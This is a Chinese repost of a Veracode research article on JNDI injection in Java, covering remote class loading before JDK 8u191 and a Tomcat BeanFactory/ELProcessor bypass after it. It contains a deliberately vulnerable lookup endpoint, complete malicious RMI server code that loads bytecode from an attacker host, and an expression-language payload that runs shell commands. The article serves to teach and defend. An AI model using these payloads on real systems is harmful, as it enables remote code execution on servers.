65.9K
CodeProject 正在变化。 阅读更多。
Home

利用 Java 中的 JNDI 注入

starIconstarIconstarIconstarIconstarIcon

5.00/5 (2投票s)

2019年8月6日

CPOL
viewsIcon

20607

利用 Java 中的 JNDI 注入

Java 命名和目录接口 (JNDI) 是一个 Java API,它允许客户端通过名称发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、公共对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)。

换句话说,JNDI 是一个简单的 Java API (例如 'InitialContext.lookup(String name)'),它只需要一个字符串参数,如果此参数来自不受信任的源,则可能通过远程类加载导致远程代码执行。

当请求对象的名称由攻击者控制时,可以将受害者的 Java 应用程序指向恶意的 rmi/ldap/corba 服务器并响应任意对象。如果该对象是 "javax.naming.Reference" 类的实例,JNDI 客户端会尝试解析该对象的 "classFactory" 和 "classFactoryLocation" 属性。如果目标 Java 应用程序不了解 "classFactory" 的值,Java 会使用 Java 的 URLClassLoader 从 "classFactoryLocation" 位置获取工厂的字节码。

由于其简单性,即使 'InitialContext.lookup' 方法没有直接暴露给受污染的数据,它在利用 Java 漏洞方面也非常有用。在某些情况下,仍然可以通过反序列化或不安全反射攻击来达到。

易受攻击的应用程序示例

	@RequestMapping("/lookup")
	@Example(uri = {"/lookup?name=java:comp/env"})
	public Object lookup(@RequestParam String name) throws Exception{
	    return new javax.naming.InitialContext().lookup(name);
	}

利用 JDK 1.8.0_191 之前的 JNDI 注入

通过请求 "/lookup/?name=ldap://127.0.0.1:1389/Object" URL,我们可以让易受攻击的服务器连接到我们控制的地址。要触发远程类加载,恶意的 RMI 服务器可以响应以下 Reference

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

由于目标服务器不了解 "ExploitObject",其字节码将从 "http://_attacker.com_/ExploitObject.class" 加载并执行,从而触发 RCE。

此技术在 Java 8u121 之前效果很好,当时 Oracle 为 RMI 添加了代码库限制。之后,可以使用返回相同引用的恶意 LDAP 服务器,如 "从 JNDI/LDAP 操纵到远程代码执行的旅程" 研究中所述。可以在 'Java Unmarshaller Security' Github 仓库中找到一个很好的代码示例。

两年后,在 Java 8u191 更新中,Oracle 对 LDAP 向量施加了相同的限制,并发布了 CVE-2018-3149,关闭了 JNDI 远程类加载的门。然而,通过 JNDI 注入仍然可以触发对不受信任数据的反序列化,但其利用高度依赖于现有的 gadget。

利用 JDK 1.8.0_191+ 中的 JNDI 注入

自 Java 8u191 起,当 JNDI 客户端接收到 Reference 对象时,无论是在 RMI 还是 LDAP 中,其 "classFactoryLocation" 都不会被使用。另一方面,我们仍然可以在 "javaFactory" 属性中指定一个任意的工厂类。

此类将用于从攻击者控制的 "javax.naming.Reference" 中提取实际对象。它应该存在于目标类路径中,实现 "javax.naming.spi.ObjectFactory" 并至少有一个 "getObjectInstance" 方法

public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<!--?,?--> environment)
        throws Exception;
}

主要思想是找到目标类路径中的一个工厂,该工厂会危险地处理 Reference 的属性。查看 JDK 和流行库的各种实现,我们发现了一个在利用方面似乎非常有趣的方法。

Apache Tomcat 服务器中的 "org.apache.naming.factory.BeanFactory" 类包含通过反射创建 bean 的逻辑

public class BeanFactory
    implements ObjectFactory {
 
    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<!--?,?--> environment)
        throws NamingException {
 
        if (obj instanceof ResourceRef) {
 
            try {
 
                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class<!--?--> beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }
 
                ...
 
                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
 
                Object bean = beanClass.getConstructor().newInstance();
 
                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map<string, method=""> forced = new HashMap<>();
                String value;
 
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<!--?--> paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;
 
                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }
 
                Enumeration<refaddr> e = ref.getAll();
 
                while (e.hasMoreElements()) {
 
                    ra = e.nextElement();
                    String propName = ra.getType();
 
                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }
 
                    value = (String)ra.getContent();
 
                    Object[] valueArray = new Object[1];
 
                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }
...

"BeanFactory" 类创建任意 bean 的实例,并为其所有属性调用 setter。目标 bean 类名、属性和属性值都来自 Reference 对象,该对象由攻击者控制。

目标类应该有一个公共的无参构造函数和只有一个 "String" 参数的公共 setter。事实上,这些 setter 不一定必须以 'set..' 开头,因为 "BeanFactory" 包含一些逻辑,说明我们如何为任何参数指定任意 setter 名称。

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<string, method=""> forced = new HashMap<>();
String value;
 
if (ra != null) {
    value = (String)ra.getContent();
    Class<!--?--> paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
 
    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }

这里使用的魔法属性是 "forceString"。通过设置它,例如设置为 "x=eval",我们可以使方法调用名为 'eval' 而不是 'setX',用于属性 'x'。

因此,利用 "BeanFactory" 类,我们可以使用默认构造函数创建一个任意类的实例,并调用任何带有单个 "String" 参数的公共方法。

其中一个可能在这里有用的类是 "javax.el.ELProcessor"。在其 "eval" 方法中,我们可以指定一个字符串,该字符串将表示要执行的 Java 表达式语言模板。

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }

这是一个在评估时执行任意命令的恶意表达式

 {"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}

将所有内容串联起来

修补后,LDAP 和 RMI 在利用目的上几乎没有区别,所以为了简单起见,我们将使用 RMI。

我们正在编写自己的恶意 RMI 服务器,它响应一个经过精心构造的 "ResourceRef" 对象

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

此服务器响应 'org.apache.naming.ResourceRef' 的序列化对象,其中包含所有精心构造的属性,以触发客户端上的所需行为。

然后我们触发受害者 Java 进程上的 JNDI 解析

new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

当此对象被反序列化时,不会发生任何不希望发生的事情。但由于它仍然扩展了 "javax.naming.Reference",因此受害者端的 "org.apache.naming.factory.BeanFactory" 工厂将被用于从 Reference 获取 '真实' 对象。 **此时,将通过模板评估触发远程代码执行,并且将执行 'nslookup jndi.s.artsploit.com' 命令。**

这里唯一的限制是目标 Java 应用程序应该在类路径中包含 Apache Tomcat 服务器的 "org.apache.naming.factory.BeanFactory" 类,但其他应用程序服务器可能拥有自己带有危险功能的内置对象工厂。

解决方案

这里实际问题不在于 JDK 或 Apache Tomcat 库,而在于将用户可控数据传递给 "InitialContext.lookup()" 函数的自定义应用程序,因为它即使在完全修补的 JDK 安装中仍然存在安全风险。请记住,其他漏洞(例如 '反序列化不受信任的数据')在许多情况下也可能导致 JNDI 解析。通过使用源代码审查来防止这些漏洞始终是一个好主意。

要从 Veracode 了解更多信息,请访问 https://www.veracode.com/blog

© . All rights reserved.